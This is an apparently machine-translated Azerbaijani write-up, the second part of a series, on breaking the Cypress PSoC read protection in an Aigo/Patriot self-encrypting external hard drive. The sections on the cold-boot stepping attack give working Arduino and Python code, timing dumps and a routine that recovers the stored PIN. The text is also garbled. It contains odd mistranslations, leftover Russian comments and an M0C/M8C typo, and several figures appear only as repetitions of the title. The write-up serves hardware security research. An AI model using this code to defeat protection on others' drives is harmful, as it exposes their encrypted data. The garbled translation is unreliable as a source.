Aigo özünü şifrləyən xarici HDD-nin geri qaytarılması və sındırılması. 2-ci hissə: Cypress PSoC-ni boşaltmaq

Bu, xarici özünü şifrələyən sürücülərin sındırılması haqqında məqalənin ikinci və son hissəsidir. Xatırladıram ki, bu yaxınlarda bir həmkarım mənə Patriot (Aigo) SK8671 sərt diskini gətirdi və mən onu tərsinə çevirmək qərarına gəldim və indi baş verənləri paylaşıram. Daha çox oxumadan əvvəl, yoxlamağı unutmayın birinci hissə məqalələr.

4. Daxili PSoC flash sürücüsündən boşaltmağa başlayırıq
5. ISSP protokolu
– 5.1. ISSP nədir
– 5.2. Vektorların demistifikasiyası
– 5.3. PSoC ilə əlaqə
– 5.4. On-chip registrlərinin identifikasiyası
– 5.5. Təhlükəsizlik bitləri
6. İlk (uğursuz) hücum: ROMX
7. İkinci Hücum: Soyuq Yenidən Yükləmə İzləmə
– 7.1. İcra
– 7.2. Nəticənin oxunması
– 7.3. Flash binar rekonstruksiya
– 7.4. Pin kodunun saxlama ünvanı tapılır
– 7.5. 126 saylı məhəllə zibilxanasını çıxarırıq
– 7.6. PIN kodun bərpası
8. Növbəti nə olacaq?
9. Nəticə

Aigo özünü şifrləyən xarici HDD-nin geri qaytarılması və sındırılması. 2-ci hissə: Cypress PSoC-ni boşaltmaq


4. Daxili PSoC flash sürücüsündən boşaltmağa başlayırıq

Beləliklə, hər şey ([birinci hissədə]() müəyyən etdiyimiz kimi) pin kodunun PSoC-nin flaş bağırsaqlarında saxlandığına işarə edir. Buna görə də, bu flaş bağırsaqları oxumalıyıq. Lazımi işlərin önü:

  • mikrokontroller ilə "əlaqə"yə nəzarət etmək;
  • bu "rabitənin" kənardan oxumaqdan qorunub saxlanmadığını yoxlamaq üçün bir yol tapın;
  • müdafiədən yan keçməyin yolunu tapın.

Etibarlı pin kodu axtarmağın məntiqli olduğu iki yer var:

  • daxili flash yaddaş;
  • SRAM, pin kodu istifadəçinin daxil etdiyi pin kodu ilə müqayisə etmək üçün saxlanıla bilər.

İrəliyə baxaraq qeyd edəcəm ki, mən hələ də daxili PSoC fləş sürücüsünü ISSP protokolunun sənədləşdirilməmiş xüsusiyyətlərini geri qaytardıqdan sonra onun mühafizə sistemindən yan keçərək, soyuq yükləmə izləmə hücumu vasitəsilə atmağı bacardım. Bu, mənə faktiki pin kodunu birbaşa atmağa imkan verdi.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Yekun proqram kodu:

5. ISSP protokolu

5.1. ISSP nədir

Mikrokontroller ilə "əlaqə" "satıcıdan satıcıya" serial protokolundan (məsələn, Microchip-in PIC üçün ICSP) istifadə edərək qarşılıqlı əlaqəyə qədər hər şeyi ifadə edə bilər.

Cypress-in bunun üçün ISSP (sistemdaxili serial proqramlaşdırma protokolu) adlanan öz xüsusi protokolu var ki, bu da qismən aşağıda təsvir edilmişdir. texniki spesifikasiya. Patent US7185162 bəzi məlumatlar da verir. HSSP adlı OpenSource həmkarı da var (bir az sonra istifadə edəcəyik). ISSP belə işləyir:

  • PSoC-ni yenidən başladın;
  • bu PSoC-nin seriya məlumat ayağına sehrli nömrə çıxarın; xarici proqramlaşdırma rejiminə daxil olmaq;
  • "vektorlar" adlanan uzun bit sətirləri olan əmrlər göndərin.

ISSP sənədləri bu vektorları yalnız bir neçə təlimat üçün müəyyən edir:

  • Initialize - 1
  • Initialize - 2
  • Initialize-3 (3V və 5V seçimləri)
  • ID-SETUP
  • OXUMA-ID-SÖZ
  • SET-BLOCK-NUM: 10011111010dddddddd111 burada dddddddd=blok #
  • TOPLU SİLİN
  • PROQRAM BLOKU
  • DOĞRULAMA-QURULMA
  • OXUYAN BAYT: 10110aaaaaaZDDDDDDDDZ1 burada DDDDDDDD = məlumat çıxdı, aaaaaa = ünvan (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111 burada dddddddd = verilənlər, aaaaaa = ünvan (6 bit)
  • SECURE
  • CHEKSUM-SETUP
  • OXUYAN YAXŞI YAQLAM: 10111111001ZDDDDDDDZ110111111000ZDDDDDDDDDZ1, burada DDDDDDDDDDDDDDD = məlumat çıxışı: cihaz yoxlama məbləği
  • BLOKU SİLİN

Məsələn, Initialize-2 üçün vektor:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Bütün vektorlar eyni uzunluğa malikdir: 22 bit. HSSP sənədlərində ISSP haqqında bəzi əlavə məlumatlar var: "ISSP vektoru təlimatlar toplusu olan bit ardıcıllığından başqa bir şey deyil."

5.2. Vektorların demistifikasiyası

Gəlin burada nə baş verdiyini anlayaq. Əvvəlcə mən bu eyni vektorların M8C təlimatlarının xam versiyaları olduğunu güman edirdim, lakin bu fərziyyəni yoxladıqdan sonra əməliyyatların əməliyyat kodlarının uyğun gəlmədiyini gördüm.

Sonra yuxarıdakı vektoru google-da axtardım və rast gəldim burada müəllifin təfərrüatlara dalmadan bəzi praktiki ipuçlarını verdiyi bir araşdırma: “Hər bir təlimat dörd mnemonicdan birinə uyğun gələn üç bitlə başlayır (RAM-dan oxu, RAM-a yaz, registr oxu, registr yaz). Sonra 8 bitlik ünvan, ardınca 8 bit məlumat (oxumaq və ya yazma) və nəhayət üç dayanma biti gəlir.

Sonra "Supervisory ROM (SROM)" bölməsindən çox faydalı məlumatlar toplamağa nail oldum. texniki rəhbərlik. SROM, istifadəçi məkanında işləyən proqram kodu üçün xidmətlər (Syscall-a bənzər şəkildə) təmin edən PSoC-də sərt kodlu ROM-dur:

  • 00: SWBootReset
  • 01 saat: Oxuma bloku
  • 02 saat: Yazma bloku
  • 03 saat: Silinmə bloku
  • 06 saat: Cədvəl oxu
  • 07 saat: Yoxlama məbləği
  • 08 saat: Kalibrləmə0
  • 09 saat: Kalibrləmə1

Vektor adlarını SROM funksiyaları ilə müqayisə edərək, biz bu protokol tərəfindən dəstəklənən müxtəlif əməliyyatları gözlənilən SROM parametrləri ilə uyğunlaşdıra bilərik. Bunun sayəsində biz ISSP vektorlarının ilk üç bitini deşifrə edə bilərik:

  • 100
  • 101 => "rdmem"
  • 110
  • 111

Bununla belə, çipdə olan proseslərin tam başa düşülməsi yalnız PSoC ilə birbaşa əlaqə vasitəsilə əldə edilə bilər.

5.3. PSoC ilə əlaqə

Dirk of Petrautsky-dən bəri daşınıb Cypress 'Arduino HSSP kodu, klaviatura lövhəsinin ISSP başlığına qoşulmaq üçün Arduino Uno-dan istifadə etdim.

Nəzərə alın ki, araşdırmam zamanı mən Dirkin kodunu xeyli dəyişdim. Dəyişikliyimi GitHub-da tapa bilərsiniz: burada və mənim depomda Arduino ilə ünsiyyət üçün müvafiq Python skripti cypress_psoc_tools.

Beləliklə, Arduino-dan istifadə edərək, əvvəlcə "ünsiyyət" üçün yalnız "rəsmi" vektorlardan istifadə etdim. VERIFY əmrindən istifadə edərək daxili ROM-u oxumağa çalışdım. Gözlənildiyi kimi, bunu edə bilmədim. Yəqin ki, oxumaqdan qorunma bitləri flash sürücünün içərisində aktivləşdirilir.

Sonra yaddaş / registrləri yazmaq və oxumaq üçün bəzi sadə vektorlarımı yaratdım. Nəzərə alın ki, fləş sürücü qorunsa da, bütün SROM-u oxuya bilərik!

5.4. On-chip registrlərinin identifikasiyası

"Sökülən" vektorlara baxaraq, cihazın təhlükəsizlikdən yan keçərək birbaşa icra edilən M0C əməliyyat kodlarını təyin etmək üçün sənədsiz registrlərdən (8xF0-8xFA) istifadə etdiyini gördüm. Bu, mənə "ADD", "MOV A, X", "PUSH" və ya "JMP" kimi müxtəlif əməliyyat kodları işlətməyə imkan verdi. Onların sayəsində (registrlərdə olan yan təsirlərə baxaraq) sənədsiz registrlərdən hansının əslində adi registrlər (A, X, SP və PC) olduğunu müəyyən edə bildim.

Nəticədə, HSSP_disas.rb aləti tərəfindən yaradılan "sökülən" kod belə görünür (aydınlıq üçün şərhlər əlavə etdim):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Təhlükəsizlik Bitləri

Bu mərhələdə mən artıq PSoC ilə əlaqə saxlaya bilirəm, lakin hələ də flash sürücünün təhlükəsizlik bitləri haqqında etibarlı məlumatım yoxdur. Cypress-in cihazın istifadəçisinə mühafizənin aktiv olub olmadığını yoxlamaq üçün heç bir vasitə verməməsi məni çox təəccübləndirdi. Cypress tərəfindən verilən HSSP kodunun Dirk modifikasiyasını buraxdıqdan sonra yeniləndiyini başa düşmək üçün Google-a daxil oldum. Və sairə! Budur yeni vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu vektordan istifadə edərək (psoc.py-də read_security_data-a baxın) biz SRAM-da 0x80-də bütün təhlükəsizlik bitlərini əldə edirik, burada hər təhlükəsizlik bloku üçün iki bit var.

Nəticə üzücüdür: hər şey "xarici oxumaq və yazmağı söndürmək" rejimində qorunur. Buna görə də, biz nəinki bir flash sürücüdən bir şey oxuya bilərik, həm də hər şeyi yaza bilərik (məsələn, orada bir ROM dumperini təqdim etmək üçün). Qorunmanı söndürməyin yeganə yolu bütün çipi tamamilə silməkdir. 🙁

6. İlk (uğursuz) hücum: ROMX

Bununla belə, biz aşağıdakı hiyləni sınaya bilərik: ixtiyari əməliyyat kodları icra etmək qabiliyyətimiz olduğundan, niyə flash yaddaşı oxumaq üçün istifadə olunan ROMX-i icra etməyək? Bu yanaşmanın müvəffəqiyyət şansı yüksəkdir. Çünki SROM-dan verilənləri oxuyan ReadBlock funksiyası (vektorlar tərəfindən istifadə olunur) onun ISSP-dən çağırılıb-çağırılmadığını yoxlayır. Bununla belə, ROMX əməliyyat kodunda bu yoxlama olmaya bilər. Beləliklə, Python kodu (Sish Arduino koduna bir neçə köməkçi sinif əlavə etdikdən sonra):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Təəssüf ki, bu kod işləmir. 🙁 Əksinə, işləyir, amma çıxışda öz əməliyyat kodlarımızı (0x28 0x30 0x40) alırıq! Düşünmürəm ki, cihazın müvafiq funksionallığı oxumaqdan qorunma elementidir. Bu, daha çox mühəndislik hiyləsinə bənzəyir: xarici əməliyyat kodları icra edilərkən, ROM avtobusu müvəqqəti buferə yönləndirilir.

7. İkinci Hücum: Soyuq Yenidən Yükləmə İzləmə

ROMX hiyləsi işləmədiyi üçün bu hiylənin başqa bir variantı haqqında düşünməyə başladım - nəşrdə təsvir edilmişdir "Mikro nəzarətçinin Firmware Mühafizəsinə çox İşıq Tutmaq".

7.1. İcra

ISSP sənədləri CHECKSUM-SETUP üçün aşağıdakı vektoru təmin edir:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu, sənədlərdə təqdim edildiyi kimi, SROM funksiyası 0x07 üçün bir çağırışdır (vurğu mənim):

Bu yoxlama məbləğinin yoxlanılması funksiyasıdır. O, istifadəçi tərəfindən müəyyən edilmiş blokların sayının 16 bitlik yoxlama məbləğini hesablayır - bir flash bankda, sıfırdan hesablanır. BLOCKID parametri yoxlama məbləğinin hesablanması zamanı istifadə ediləcək blokların sayını keçmək üçün istifadə olunur. "1" dəyəri yalnız blok sıfır üçün yoxlama məbləğini hesablayacaq; Halbuki "0" flash bankın bütün 256 blokunun ümumi yoxlama məbləğinin hesablanmasına səbəb olacaq. 16 bitlik yoxlama cəmi KEY1 və KEY2 vasitəsilə qaytarılır. KEY1 parametrində yoxlama məbləğinin aşağı 8 biti, KEY2-də isə yuxarı 8 bit sabitdir. Çoxlu flaş bankı olan cihazlar üçün yoxlama funksiyası hər biri üçün ayrıca çağırılır. Onun işləyəcəyi bankın nömrəsi FLS_PR1 reyestri ilə müəyyən edilir (hədəf flaş bankına uyğun olan biti təyin etməklə).

Qeyd edək ki, bu, ən sadə yoxlama məbləğidir: baytlar sadəcə bir-bir əlavə olunur; heç bir xülya CRC qəribəlikləri. Bundan əlavə, M8C nüvəsindəki registrlər dəstinin çox kiçik olduğunu bilərək, yoxlama məbləğini hesablayarkən, aralıq dəyərlərin nəticədə çıxışa gedəcək eyni dəyişənlərdə sabitlənəcəyini güman etdim: KEY1 (0xF8) / KEY2 (0xF9).

Beləliklə, nəzəri olaraq hücumum belə görünür:

  1. ISSP vasitəsilə əlaqə saxlayırıq.
  2. CHECKSUM-SETUP vektorundan istifadə edərək yoxlama məbləğinin hesablanmasına başlayırıq.
  3. Müəyyən bir müddətdən sonra prosessoru yenidən işə salırıq T.
  4. Cari C yoxlama məbləğini əldə etmək üçün RAM-ı oxuyun.
  5. 3 və 4-cü addımları təkrarlayın, hər dəfə T-ni bir qədər artırın.
  6. Əvvəlki yoxlama məbləğini cari C-dən çıxararaq, bir flash sürücüdən məlumatları bərpa edirik.

Bununla belə, problem var idi: yenidən yüklədikdən sonra göndərməli olduğumuz Initialize-1 vektoru KEY1 və KEY2-nin üzərinə yazır:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bu kod Calibrate1-ə (SROM funksiyası 9) zəng edərək qiymətli yoxlama məbləğimizin üzərinə yazır... Bəlkə biz sadəcə sehrli nömrəni (yuxarıdakı kodun əvvəlindən) proqramlaşdırma rejiminə göndərə və sonra SRAM-ı oxuya bilərik? Və bəli, işləyir! Bu hücumu həyata keçirən Arduino kodu olduqca sadədir:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay oxuyun.
  2. Yoxlama məbləğinin hesablanmasına başlayın (send_checksum_v).
  3. Müəyyən bir müddət gözləyin; aşağıdakı tələlər verilir:
    • Bunun çıxdığını bilənə qədər çox vaxt öldürdüm gecikmə mikrosaniyələri yalnız 16383 µs-dən çox olmayan gecikmələrlə düzgün işləyir;
    • və sonra yenə eyni vaxtda öldürdü, o delayMicrosaniyələrin, əgər siz ona giriş kimi 0 keçirsəniz, heç işləmir!
  4. PSoC-ni proqramlaşdırma rejiminə yenidən yükləyin (başqalaşdırma vektorlarını göndərmədən sadəcə sehrli nömrə göndərin).

Son Python kodu:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Bir sözlə, bu kod nə edir:

  1. PSoC-ni yenidən yükləyir (və ona sehrli nömrə göndərir).
  2. Tam başlatma vektorlarını göndərir.
  3. Parametr kimi mikrosaniyələrdə gecikmə ilə Arduino funksiyasını Cmnd_STK_START_CSUM (0x85) çağırır.
  4. Yoxlama məbləğini (0xF8 və 0xF9) və sənədsiz 0xF1 registrini oxuyur.

Bu kod 10 mikrosaniyədə 1 dəfə icra olunur. 0xF1 bura daxil edilmişdir, çünki yoxlama məbləği hesablanarkən dəyişən yeganə registr idi. Ola bilsin ki, bu arifmetik məntiq vahidinin istifadə etdiyi bir növ müvəqqəti dəyişəndir. Arduino siqnal verməyi dayandırdıqda pikokomdan istifadə edərək Arduino-nu sıfırlamaq üçün istifadə etdiyim çirkin hackə diqqət yetirin (niyə heç bir fikrim yoxdur).

7.2. Nəticənin oxunması

Python skriptinin nəticəsi belə görünür (oxumaq üçün sadələşdirilmişdir):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Bununla belə, bir problemimiz var: biz faktiki yoxlama məbləği ilə işlədiyimiz üçün sıfır bayt oxunuş dəyərini dəyişmir. Bununla belə, bütün hesablama proseduru (8192 bayt) 0,1478 saniyə çəkdiyindən (hər bir qaçışda kiçik kənarlaşmalarla) bu, hər bayt üçün təxminən 18,04 µs təşkil edir, biz bu vaxtdan yoxlama məbləğini müvafiq vaxtlarda yoxlamaq üçün istifadə edə bilərik. İlk qaçışlar üçün hər şey olduqca asanlıqla oxunur, çünki hesablama prosedurunun müddəti həmişə demək olar ki, eynidır. Bununla belə, bu zibilin sonu daha az dəqiqdir, çünki hər bir qaçışda "kiçik vaxt sapmaları" nəzərə çarpır:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Bu, hər mikrosaniyəlik gecikmə üçün 10 boşalma deməkdir. Bir flash sürücünün bütün 8192 baytını boşaltmaq üçün ümumi iş vaxtı təxminən 48 saatdır.

7.3. Flash binar rekonstruksiya

Vaxtında bütün sapmaları nəzərə alaraq, fləş sürücünün proqram kodunu tamamilə yenidən quran kodu hələ yazmağı bitirməmişəm. Ancaq mən bu kodun başlanğıcını artıq bərpa etmişəm. Düzgün etdiyimə əmin olmaq üçün m8cdis istifadə edərək onu sökdüm:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Tamamilə real görünür!

7.4. Pin kodunun saxlama ünvanı tapılır

İndi yoxlama məbləğini ehtiyac duyduğumuz anda oxuya bildiyimiz üçün onun necə və harada dəyişdiyini asanlıqla yoxlaya bilərik:

  • səhv pin kodu daxil edin;
  • pin kodunu dəyişdirin.

Birincisi, təxmini saxlama ünvanı tapmaq üçün mən yenidən başladıqdan sonra 10 ms-lik artımlarla yoxlama toplamını götürdüm. Sonra səhv pin kodu daxil etdim və eyni şeyi etdim.

Nəticə çox da xoş olmadı, çünki çoxlu dəyişikliklər oldu. Lakin sonda yoxlama məbləğinin 120000 µs ilə 140000 µs gecikmə arasında dəyişdiyini müəyyən edə bildim. Ancaq orada tapdığım "pin kodu" tamamilə səhv idi - gecikməMicroseconds prosedurunun artefaktına görə, ona 0 ötürüldükdə qəribə işlər görür.

Sonra, demək olar ki, 3 saat sərf etdikdən sonra xatırladım ki, SROM-un CheckSum sistem çağırışı yoxlama məbləği üçün blokların sayını təyin edən bir arqumenti giriş kimi qəbul edir! Bu. pin kodun saxlama ünvanını və "etibarsız cəhdlər" sayğacını asanlıqla lokallaşdıra bilərik - 64 baytlıq blok dəqiqliyi ilə.

İlk qaçışlarım aşağıdakı nəticəni verdi:

Aigo özünü şifrləyən xarici HDD-nin geri qaytarılması və sındırılması. 2-ci hissə: Cypress PSoC-ni boşaltmaq

Sonra pin kodunu "123456"dan "1234567"yə dəyişdim və əldə etdim:

Aigo özünü şifrləyən xarici HDD-nin geri qaytarılması və sındırılması. 2-ci hissə: Cypress PSoC-ni boşaltmaq

Beləliklə, pin kodu və etibarsız cəhdlərin sayğacı №126 blokda saxlanılır.

7.5. 126 saylı məhəllə zibilxanasını çıxarırıq

Blok №126 yoxlama məbləğinin hesablanmasının əvvəlindən mənim tam zibilliyimdə təxminən 125x64x18 = 144000µs olmalıdır və bu, olduqca inandırıcı görünür. Sonra, çoxsaylı pis zibilləri əl ilə süzdükdən sonra ("kiçik vaxt sapmalarının" yığılması səbəbindən) bu baytlarla başa çatdım (145527 µs gecikmə ilə):

Aigo özünü şifrləyən xarici HDD-nin geri qaytarılması və sındırılması. 2-ci hissə: Cypress PSoC-ni boşaltmaq

PİN kodun şifrələnməmiş şəkildə saxlandığı aydındır! Bu dəyərlər, əlbəttə ki, ASCII kodlarında yazılmır, lakin məlum oldu ki, onlar kapasitiv klaviaturadan götürülmüş oxunuşları əks etdirir.

Nəhayət, pis cəhd sayğacının harada saxlandığını öyrənmək üçün daha bir neçə test keçirdim. Nəticə budur:

Aigo özünü şifrləyən xarici HDD-nin geri qaytarılması və sındırılması. 2-ci hissə: Cypress PSoC-ni boşaltmaq

0xFF "15 cəhd" deməkdir və hər səhv cəhd üçün azalır.

7.6. PIN kodun bərpası

Hamısını bir araya gətirən mənim çirkin kodum budur:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Onun icrasının nəticəsi budur:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Yaşasın! işləyir!

Nəzərə alın ki, istifadə etdiyim gecikmə dəyərləri çox güman ki, bir xüsusi PSoC üçün uyğundur - mənim istifadə etdiyim.

8. Növbəti nə olacaq?

Beləliklə, Aigo sürücümüzün kontekstində PSoC tərəfini yekunlaşdıraq:

  • biz SRAM-ı oxumaqdan qorunan olsa belə oxuya bilərik;
  • soyuq yenidən yükləmə iz hücumundan istifadə edərək və birbaşa pin kodu oxumaqla oxunma mühafizəsini keçə bilərik.

Bununla belə, hücumumuz sinxronizasiya problemlərinə görə bəzi çatışmazlıqlara malikdir. Aşağıdakı kimi təkmilləşdirilə bilər:

  • soyuq yenidən yükləmə izləmə hücumu nəticəsində əldə edilən çıxışı düzgün deşifrə etmək üçün bir yardım proqramı yazın;
  • daha dəqiq vaxt gecikmələri yaratmaq üçün FPGA gadgetlarından istifadə edin (və ya Arduino aparat taymerlərindən istifadə edin);
  • başqa bir hücuma cəhd edin: bilərəkdən səhv pin kodu daxil edin, müqayisə üçün düzgün pin kodun RAM-da saxlanacağına ümid edərək RAM-ı yenidən başladın və boşaltın. Ancaq Arduino-da bunu etmək o qədər də asan deyil, çünki Arduino siqnal səviyyəsi 5 voltdur, araşdırdığımız lövhə isə 3,3 voltluq siqnallarla işləyir.

Cəhd etmək üçün maraqlı bir şey oxumaqdan qorunmaq üçün gərginlik səviyyəsi ilə oynamaqdır. Bu yanaşma işləsəydi, qeyri-dəqiq vaxt gecikmələri ilə oxunan yoxlama məbləğinə etibar etmək əvəzinə, flash sürücüdən tamamilə dəqiq məlumat əldə edə bilərdik.

SROM, ehtimal ki, ReadBlock sistem çağırışı vasitəsilə qoruyucu bitləri oxuduğundan, biz də eyni şeyi edə bilərik təsvir edilmişdir Dmitri Nedospasovun bloqunda - konfransda elan edilən Kris Gerlinskinin hücumunun yenidən həyata keçirilməsi Recon Brüssel 2017.

Ediləcək başqa bir əyləncəli şey işi çipdən çıxarmaqdır: SRAM-ı boşaltmaq, sənədsiz sistem zənglərini və zəiflikləri müəyyən etmək.

9. Nəticə

Beləliklə, bu sürücünün qorunması çox arzuolunandır, çünki o, pin kodu saxlamaq üçün adi ("bərkitilməmiş") mikrokontrollerdən istifadə edir ... Üstəlik, bu barədə məlumat şifrələməsi ilə bağlı işlərin necə olduğuna hələ (hələ) baxmamışam. qurğu!

